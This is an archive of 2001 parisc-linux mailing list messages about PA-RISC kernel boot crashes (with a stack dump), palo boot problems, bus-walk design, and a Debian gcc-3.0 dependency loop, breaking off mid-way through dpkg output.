Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Mon, 27 Aug 2001 16:38:11 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <OF856052DC.831D184A-ONC1256AB5.004DF992@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620415 24476 80.91.229.3 (22 Nov 2014 01:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:15 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org
To: "Helge Deller <deller" <deller%gmx.de%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 08:35:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEBF4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 08:35:12 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d55a14860a1@epirel991.europay.com>;
 Mon, 27 Aug 2001 16:34:55 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/27/2001 04:38:10 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11978

Back to ksoftirq_CPU? problem.
I test it on a Pentium box and just finished to test on a ss20 (sunsparc20)
and I for those two diferent machine I only note Sleeping process as you
notice on a 715 model.
We can be quiet sure that it is only a problem for some hppa model.

Regards,
     Joel



                                                                           =
                                       =20
                    Helge Deller                                           =
                                       =20
                    <deller@gmx.d        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                             =20
                    e>                   cc:                               =
                                       =20
                                         Subject:     Re: [parisc-linux] Ke=
rnel 2.4.9-pa2?                        =20
                    21-08-01                                               =
                                       =20
                    11:11 PM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20



On Tuesday 21 August 2001 15:12, you wrote:
> Hi Helge,
>
> Sorry to have not enough knowlegde to help the debuging.
>
> Regarding IA box I do not yet have the opportunity to recompile a recent
> kernel 2.4 but I will try asap.
>
> Kind regards,
>      Joel

Hi Joel,

No problem - I still think it is a general Linux-kernel issue and it will
surely fixed in the next version.
And thanks a lot for pointing us to this bug,

Helge





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Crashing Kernel 2.4.9 -pa5 on 715/75
Date: Mon, 27 Aug 2001 11:05:35 -0400
Lines: 190
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162724@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620415 24480 80.91.229.3 (22 Nov 2014 01:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:15 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 09:05:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59490482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 09:05:43 -0600 (MDT)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <RDLXFYDD>; Mon, 27 Aug 2001 11:05:37 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11979

Hi,

I=B4m having big problems with booting a 2.4.9-pa5 kernel on my 715/75. =
IPL loads
the segments but after "branching to kernel entry point 0x001000d0" I =
get a huge
Stack-dump and thats all. I read that this kernel works on 715/80, can =
anybody
send me a working config? I used the default-config comming with the =
kernel and
my old working 2.4.7 config without any luck....

greetings
Wolfgang

PS: If anybody can use the stack-dump, here it is:

Dumping Stack from 10058000 to 10058940:
8000 00000000 00000040 00000000 00000000 102c1fa0 00000000 00000000 =
ffffffff
8020 00000003 00000000 00000000 00000000 00000000 00000000 ffffffff =
1007003c
8040 102bf220 00000036 10078000 10334000 102c8600 00000000 00000000 =
00000000
8060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 =
00000000
8080 00000000 10334000 10334000 10078000 10070000 00000000 10060098 =
10334098
80a0 00000000 102c0ef4 100580a8 100580a8 00000000 00000000 00000000 =
00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
10058000
80e0 1011af58 00000000 00000000 00000000 00000000 00000035 00000000 =
00000035
8100 00000000 00000000 00000000 00000000 00000000 00000000 80000000 =
00000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
81c0 fffffeff 00000000 ffffffff 00000000 102c2f60 ffffffff ffffffff =
ffffffff
81e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff =
ffffffff
8200 ffffffff 00000f92 00000f92 00000400 00000400 ffffffff ffffffff =
ffffffff
8220 ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000 =
00000000
8240 00000000 00000000 00000000 00000000 00000000 00000000 0000f927 =
00800327
8260 102c4010 100ffaf3 000ff000 1027ac60 10784da0 0004000e fc4ff000 =
fc4ff000
8280 00000089 101193f0 0006e180 0000f927 00800327 1033f810 1033b667 =
102f4f94
82a0 00000024 0000003c 0000003e 102c1810 00000001 1033b667 00000089 =
00000000
82c0 10100418 0000f927 00000000 00000000 40800000 00000000 0000f927 =
103437c8
82e0 1028f344 10381120 00000089 fffbf090 0006e180 0000f927 00008124 =
00000000
8300 41800000 10158fe4 00000010 00000010 00000000 00000000 00000003 =
00000000
8320 10334554 1028f530 00000000 103820c0 ffcc6c00 ffcc6c00 41000000 =
00000000
8340 ffcc6c00 10158fe4 40800000 00000000 41000000 00000000 00000003 =
00000000
8360 10334594 1028f33c 00000000 10382e40 41800000 ffcc6c00 40000000 =
00000000
8380 40000000 10158a14 40800000 00000000 41000000 00000000 fc4ff000 =
00000001
83a0 00008124 10334594 000000f0 10382240 00000000 10057000 10786040 =
00000000
83c0 10278784 10132f24 000000a0 00000000 30313233 34353637 fc4ff000 =
00000001
83e0 000000f0 fffbf090 000000f0 103820c0 00000000 00646566 00000020 =
00000000
8400 103346d0 1012f078 f0000694 08000059 00000001 10058700 10106cf8 =
00000001
8420 000000f0 00000000 000000f0 10382e40 002c9000 00000000 102c8040 =
102c8060
8440 102c81fc 00000000 00000000 00000000 1005844c 00000000 00000000 =
00000000
8460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
8480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
84a0 00000000 00000000 00000000 10106c4c 00000000 00000000 00000000 =
00000000
84c0 10334000 00000000 56554100 00000000 00000000 00000000 00000000 =
00000000
84e0 00000000 00000000 00000000 1010042c 00000000 00000000 00000000 =
00000000
8500 00000000 56554100 00000000 00000000 00000000 00000000 00000000 =
00000000
8520 00000000 00000000 00000000 102f514c 00000000 00000000 00000000 =
00000000
8540 102c2010 10058000 102c8600 10334000 10332fd8 10332f5c 10285de8 =
10286104
8560 10334000 10332fd8 10332f08 102fae94 00000000 00000000 00000000 =
00000000
8580 10332fd8 102c2010 10058000 102c8600 10334000 102c4250 10332f54 =
0004000e
85a0 fc4ff000 102c2010 10058000 102fc364 10334000 10332fd8 10332f2c =
00000000
85c0 1034bacc 102d2cbc 00000040 102d2cbc 00000040 102910d8 000ff000 =
001a5a59
85e0 102f4f94 0004000e fc4ff000 102cfd08 10000080 1034bb88 1034bacc =
102d2cbc
8600 00000040 102d3810 102d3e78 00000040 00000000 00000019 0000000a =
102833c4
8620 102c2010 10058000 1034b810 10119854 000000bc 00000200 00000001 =
10343814
8640 ffffffff 102c1810 00000000 102d3ea4 102c1ff0 00000000 0004000e =
fc4ff000
8660 102cfd08 10338010 10338010 102ee770 00000006 10338394 08000059 =
f0000694
8680 00000001 00000000 f000013c 000ff000 001a5a59 10283401 0004000e =
fc4ff000
86a0 102cfd08 10338010 10338394 102fc6d0 00000006 10338394 08000059 =
f0000694
86c0 1033b689 102f4f94 00000046 0000003c 0000003e 102c1810 00000001 =
1033b689
86e0 10338010 1033b646 1033b643 00000006 10338394 00000000 00000000 =
00000000
8700 0006000f 1033b010 102fc6d0 1034d010 00000008 1034b810 00000013 =
0000002f
8720 102d3ea4 102c1ff4 0004000e 102f4f94 001a5a59 000ff000 f000013c =
00000000
8740 00000001 08000059 f0000694 00000000 00000000 1034d068 00000003 =
00000000
8760 00000093 00000002 00000093 102aa010 00000000 0000002f 10058940 =
102fc684
8780 0000001f 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
87a0 00000000 00000000 00000000 00000000 00000000 00000000 40800000 =
00000000
87c0 ffcc6c00 ffcc6c00 7f7fffff ffffffff 7f7fffff ffffffff 00000000 =
00000000
87e0 00000000 00000000 41800000 00000000 00000010 00000010 00000000 =
00000000
8800 ffcc6c00 ffcc6c00 41000000 00000000 40800000 00000000 ffcc6c00 =
ffcc6c00
8820 41000000 00000000 ffcc6c00 ffcc6c00 40800000 00000000 41000000 =
00000000
8840 40300000 00000000 40200000 00000000 40200000 00000000 41800000 =
ffcc6c00
8860 40000000 00000000 40000000 00000000 40800000 00000000 41000000 =
00000000
8880 00000000 00000000 00000000 00000000 00000000 00000000 00000000 =
00000000
88a0 00000000 00000000 1010d3a4 1010d3a8 000000a0 00000000 00000001 =
00000000
88c0 0000000f 00000004 0e781096 00000000 0000000c 00000010 ffffffff =
00000000
88e0 ffffffff 100586cc 1033b668 10338244 00000000 00000000 00000000 =
00000000
8900 f000013c 102bf220 10058580 00000000 0004000e 00000000 000000f0 =
102c3768
8920 00000002 102c3010 102c376c 10107748 00000000 00000000 00000000 =
00000000

Kernel Fault: Code=3D26 regs=3D10058700 (Addr=3D0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111
r0-3     00000000 1033b010 102fc6d0 1034d010
r4-7     00000008 1034b810 00000013 0000002f
r8-11    102d3ea4 102c1ff4 0004000e 102f4f94
r12-15   001a5a59 000ff000 f000013c 00000000
r16-19   00000001 08000059 f0000694 00000000
r20-23   00000000 1034d068 00000003 00000000
r24-27   00000093 00000002 00000093 102aa010
r28-31   00000000 0000002f 10058940 102fc684
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1010d3a4 1010d3a8
 IIR: 0e781096    ISR: 00000000  IOR: 0000000c
 ORIG_R28: 00000001






From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Crashing Kernel 2.4.9 -pa5 on 715/75
Date: Mon, 27 Aug 2001 08:31:40 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20010827083140.V703@tausq.org>
References: <8D4C69676E66D511A1CB00508BBBB192162724@ranmx1.ran.harris.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620416 24484 80.91.229.3 (22 Nov 2014 01:40:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:16 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 09:31:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2B66482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 09:31:49 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id ehyihaaa for parisc-linux@lists.parisc-linux.org; Mon, 27 Aug 2001 08:27:34 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15bOMW-0002yB-00; Mon, 27 Aug 2001 08:31:40 -0700
Content-Disposition: inline
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB192162724@ranmx1.ran.harris.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11980

> I?m having big problems with booting a 2.4.9-pa5 kernel on my 715/75. IPL loads
> the segments but after "branching to kernel entry point 0x001000d0" I get a huge
> Stack-dump and thats all. I read that this kernel works on 715/80, can anybody
> send me a working config? I used the default-config comming with the kernel and
> my old working 2.4.7 config without any luck....

Do you have the System.map file that correspond to this kernel? 

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Mon, 27 Aug 2001 20:20:36 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010827202036.E525@parcelfarce.linux.theplanet.co.uk>
References: <willy@debian.org> <200108250559.XAA24615@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620416 24486 80.91.229.3 (22 Nov 2014 01:40:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:16 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 13:20:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0C5F482A
	for <parisc-linux@parisc-linux.org>; Mon, 27 Aug 2001 13:20:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bRw4-00010Q-00; Mon, 27 Aug 2001 20:20:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108250559.XAA24615@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Fri, Aug 24, 2001 at 11:59:25PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11981

On Fri, Aug 24, 2001 at 11:59:25PM -0600, Grant Grundler wrote:
> I was confused. The Dino built-in discovery doesn't make PDC calls.

OK, that clears that up :-)

> > So it seems to me that we shouldn't do bus-walks underneath Dino, but
> > rely on PDC telling us about the device if it's attached.
> 
> Uhm, "underneath" is ambiguous since both built-ins and PCI devices
> are heirarchially below "dino" (iotree view - not HW view).
> We need to do PCI bus walks for PCI devices.

I mean native buswalks.  PCI buswalks are outside the scope of this topic.

> I'll assume your statement only refers to Dino built-ins and agree.
> FWIW, same is true for LASI devices.

Hmm.  OK.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel building
Date: Mon, 27 Aug 2001 20:37:20 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010827203720.G525@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0108260741370.1919-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620416 24489 80.91.229.3 (22 Nov 2014 01:40:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:16 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <tom@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 13:37:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2644A482A
	for <parisc-linux@parisc-linux.org>; Mon, 27 Aug 2001 13:37:27 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bSCG-0001M9-00; Mon, 27 Aug 2001 20:37:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0108260741370.1919-100000@goliath.alaskatech.org>; from tom@alaskatech.org on Sun, Aug 26, 2001 at 07:55:46AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11982

On Sun, Aug 26, 2001 at 07:55:46AM -0800, Tom wrote:
> I then changed to '2/vmlinux-2.4.9' (partition 2 is /boot once mounted),
> ran palo (no errors, identified 2/vmlinux-2.4.9 as the new kernel),
> rebooted - and I get the error that the system can't grok the kernel
> executable format and then a 'failed to boot' message.

You're probably trying to boot a lifimage (which is what `make palo' produces).
palo will only boot a raw kernel -- ie the vmlinux.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Mon, 27 Aug 2001 20:38:49 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010827203849.H525@parcelfarce.linux.theplanet.co.uk>
References: <20010826162754.A10072@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620417 24493 80.91.229.3 (22 Nov 2014 01:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:17 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 13:38:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE98E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 13:38:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bSDi-0001NL-00; Mon, 27 Aug 2001 20:38:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010826162754.A10072@megatonmonkey.net>; from carlos@megatonmonkey.net on Sun, Aug 26, 2001 at 04:27:54PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11983

On Sun, Aug 26, 2001 at 04:27:54PM -0400, Carlos O'Donell Jr. wrote:
> I started by building the tools, as per the instructions on the website.
> 
> - Built binutils
> - Partially build gcc
> - Unpack and configure kernel
> - Build glibc...

Where did you get glibc from?  The only place with current patches is the
Debian package.  Our CVS is terribly out of date.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kurc, Marcin A." <makurc@cooperstandard.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] visualize C360/785 install
Date: Mon, 27 Aug 2001 16:24:08 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <426B4FEBE684D411B0A60090273B1D2401AD0E64@AA0016>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620417 24495 80.91.229.3 (22 Nov 2014 01:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:17 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 14:24:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fa0008.coopertire.com (unknown [63.150.221.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DCF9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 14:24:18 -0600 (MDT)
Original-Received: by FA0008 with Internet Mail Service (5.5.2653.19)
	id <PBAD3WDK>; Mon, 27 Aug 2001 16:24:16 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11984

Did anyone have any luck installing parisc-linux on HP visualize C360 (785)?

Marcin Kurc
CAD Systems Administrator
Cooper-Standard Automotive





From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] visualize C360/785 install
Date: Mon, 27 Aug 2001 22:38:33 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20010827223833.B12905@parcelfarce.linux.theplanet.co.uk>
References: <426B4FEBE684D411B0A60090273B1D2401AD0E64@AA0016>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620417 24503 80.91.229.3 (22 Nov 2014 01:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:17 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Kurc, Marcin A." <makurc@cooperstandard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 15:38:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 623E5482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 15:38:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bU5Z-0003cF-00; Mon, 27 Aug 2001 22:38:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <426B4FEBE684D411B0A60090273B1D2401AD0E64@AA0016>; from makurc@cooperstandard.com on Mon, Aug 27, 2001 at 04:24:08PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11985

On Mon, Aug 27, 2001 at 04:24:08PM -0400, Kurc, Marcin A. wrote:
> Did anyone have any luck installing parisc-linux on HP visualize C360 (785)?

Ought to work.  Don't have one here, but Richard has one.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew A. Zahorik" <maz@albany.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [0.9.2] Can't install gcc-3.0, dependency problem
Date: Mon, 27 Aug 2001 18:58:55 -0400 (EDT)
Lines: 104
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.33.0108271843310.268-100000@ender.tmmz.net>
References: <20010827223739.7EAAF482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620418 24511 80.91.229.3 (22 Nov 2014 01:40:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:18 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 16:56:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail4.nycap.rr.com (mail4-0.nyroc.rr.com [24.92.226.64])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29B26482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 16:56:57 -0600 (MDT)
Original-Received: from cm-24-169-220-126.nycap.rr.com ([24.169.220.126])
          by mail4.nycap.rr.com (Post.Office MTA v3.5.3 release 223
          ID# 0-59787U250000L250000S0V35) with ESMTP id com
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 27 Aug 2001 18:55:44 -0400
X-X-Sender: <matt@ender.tmmz.net>
In-Reply-To: <20010827223739.7EAAF482B@dsl2.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11986

Hi all,

  I am trying to install pa-risc Linux on a B180L (32-bit kernel only)

  For the life of me, I can't get gcc-3.0 to install due to a dependency
loop that I can't break.

  cpp-3.0 depends on gcc-3.0-base.  (see output below)

  /etc/apt/sources.list is:

deb http://http.us.debian.org/debian unstable main contrib non-free

  If I force install the cpp-3.0 package, dselect removes it the next time
around.  (it doesn't like broken dependencies)

  Browsing through the archives didn't shed any light.  There was a
problem a little while back on the 64-bit compliation environment, but
that was just a simple apt-get dist-upgrade to fix.

  Box was installed from the 0.9.2 ISO (loopback mounted from my FreeBSD
box and served via. http).  The netboot/LIF image from the 0.9.2 CD was
used to tftp boot.  Base install was pulled from the 0.9.2 ISO.  The box
was update/dist-upgraded with the above sources.list with apt-get after
install.  The system, apart from this gcc dependency problem, is
otherwise working perfectly.

  Thanks in advance for any aid you can render!

- Matt

ps.  The LIF image in dists/woody/disks-hppa/current/ fails in base
install, looking for a version of fileutils that doesn't exist.  I'll
gladly install woody straight from the debian mirror if someone can kindly
compile a newer LIF boot-floppies image.

pa-risc:~# apt-get install cpp-3.0
Reading Package Lists... Done
Building Dependency Tree... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

Since you only requested a single operation it is extremely likely that
the package is simply not installable and a bug report against
that package should be filed.
The following information may help to resolve the situation:

Sorry, but the following packages have unmet dependencies:
  cpp-3.0: Depends: gcc-3.0-base (< 1:3.0.2) but 1:3.0.2-0pre010826 is to
be installed
E: Sorry, broken packages
pa-risc:~# dpkg -k gcc-3.0-base
dpkg: unknown option -k

Type dpkg --help for help about installing and deinstalling packages [*];
Use dselect for user-friendly package management;
Type dpkg -Dhelp for a list of dpkg debug flag values;
Type dpkg --force-help for a list of forcing options;
Type dpkg-deb --help for help about manipulating *.deb files;
Type dpkg --licence for copyright licence and lack of warranty (GNU GPL)
[*].

Options marked [*] produce a lot of output - pipe it through `less' or
`more' !
pa-risc:~# dpkg -l gcc-3.0-base
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
